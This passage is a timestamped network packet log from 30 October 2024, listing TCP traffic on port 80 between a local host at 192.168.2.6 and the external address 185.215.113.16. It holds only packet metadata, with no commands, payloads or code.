Oct 30, 2024 05:24:24.300740957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300753117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300838947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300839901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.300851107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300863028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300873995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300884962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300889969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.300919056 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.300955057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300966978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.300988913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.301148891 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.322810888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.322876930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.322901964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.322920084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.322931051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.322942019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323008060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323019981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323024035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323024988 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323040009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323059082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323070049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323085070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323153973 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323153973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323204041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323220015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323231936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323244095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323272943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323291063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323291063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323343992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323354959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323365927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323386908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323400974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323445082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323456049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.323486090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.323621035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.324935913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.324947119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.324958086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.324970961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.325023890 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.325103045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373276949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373291016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373301029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373312950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373420000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373420000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373476982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373488903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373516083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373528004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373538971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373538971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373552084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373570919 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373655081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373759985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373770952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373780966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373809099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373820066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373830080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.373842001 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373842001 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373877048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.373956919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.374049902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.374059916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.374068975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.374128103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.374128103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.420295000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420403957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420417070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420497894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.420571089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420583963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420595884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420607090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420619011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420641899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.420711994 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.420747042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420758009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420793056 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.420877934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420914888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.420962095 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.442534924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442548990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442560911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442572117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442584038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442595005 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.442603111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442643881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442667961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.442819118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442830086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442848921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442859888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442872047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.442873001 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.442890882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.442929983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.442989111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443001032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443011999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443025112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443037033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443039894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.443092108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.443156958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443169117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443180084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443191051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443229914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.443285942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.443300009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443316936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443330050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443417072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.443787098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443799019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443809032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.443857908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.492930889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.492943048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.492954016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493021011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.493091106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493102074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493113041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493124962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493139982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.493273020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.493591070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493769884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493781090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493941069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.493963003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493976116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493987083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.493999004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.494009972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.494014025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.494024038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.494031906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.494045019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.494134903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.494153023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.494278908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539508104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539606094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539616108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539625883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539632082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539639950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539670944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539700985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539700985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539724112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539742947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539755106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539767027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539772987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539781094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539807081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539824009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539834976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539845943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.539846897 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.539869070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561420918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561433077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561455965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561476946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561495066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561501026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561506987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561520100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561532974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561549902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561551094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561590910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561603069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561615944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561638117 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561711073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561713934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561726093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561764956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561808109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561820030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561830997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561867952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561878920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561892033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561892986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561916113 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561964035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.561990023 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.561995983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.562007904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.562123060 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.562603951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.562614918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.562628031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.562689066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.562689066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.611620903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611634016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611644983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611718893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.611757040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611768961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611840963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611851931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611869097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.611921072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.611955881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611968994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611979008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.611999989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.612031937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.612768888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612791061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612803936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612878084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612890005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612900972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612905979 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.612915039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612926960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.612941980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.612941980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.613024950 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.658915043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.658929110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.658958912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.658970118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.658982038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659015894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.659015894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.659099102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659111023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659121990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659147024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659173012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.659190893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659208059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659218073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659228086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659240007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659250975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659251928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.659264088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.659281969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.659320116 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.659320116 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.680972099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.680983067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.680994034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681020975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681025028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681032896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681046009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681058884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681070089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681116104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681190014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681205988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681216955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681226969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681232929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681248903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681266069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681272030 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681279898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681298971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681307077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681318998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681332111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681334019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681349993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681355953 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681364059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681375980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681387901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681394100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681453943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.681961060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681972980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.681982994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.682039976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.682039976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.730950117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.730969906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.730979919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731029987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.731106997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731117964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731128931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731151104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731153965 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.731201887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731220007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731230021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731235027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.731261015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.731328011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.731930017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731941938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731952906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731976032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.731987000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.732006073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.732017994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.732028961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.732038021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.732069016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.732085943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.732085943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778079033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778090000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778101921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778156042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778161049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778167963 CET	80	49760	185.215.113.16	192.168.2.6
